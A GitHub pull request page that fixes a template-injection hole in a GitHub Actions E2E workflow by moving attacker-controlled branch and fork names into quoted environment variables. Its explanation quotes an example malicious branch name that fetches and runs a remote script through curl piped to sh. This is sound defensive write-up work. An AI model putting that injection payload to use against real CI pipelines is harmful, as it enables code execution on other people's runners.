Fix template injection in E2E workflow#367
Merged
Merged
Conversation
The "Update Dead Code Detector" step expanded ${{ github.head_ref }} and
${{ github.event.pull_request.head.repo.full_name }} directly into the
shell script. Both are attacker-controlled on fork PRs, so a branch name
like $(curl evil.sh|sh) would be executed on the runner.
Pass them via env vars and reference them as quoted shell variables so
their values can no longer break out of the string context.
Flagged by zizmor (template-injection, High).
Co-Authored-By: Claude Code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
The
Update Dead Code Detectorstep in.github/workflows/e2e.ymlexpanded two attacker-controlled GitHub Actions expressions directly into therun:shell script:${{ github.head_ref }}— the PR branch name${{ github.event.pull_request.head.repo.full_name }}— the fork's nameBoth are controlled by whoever opens the PR. A fork PR with a branch name like
$(curl evil.sh|sh)would be expanded straight into the shell and executed on the runner.Fix
Pass both values through
env:and reference them as quoted shell variables, so their contents can no longer break out of the string context and are treated as data, not code.Context
template-injection, High).pull_request(notpull_request_target) and the repo's defaultGITHUB_TOKENis read-only, so fork PRs get no secrets and a read-only token — this limited the blast radius to the ephemeral runner. The injection is fixed regardless.Co-Authored-By: Claude Code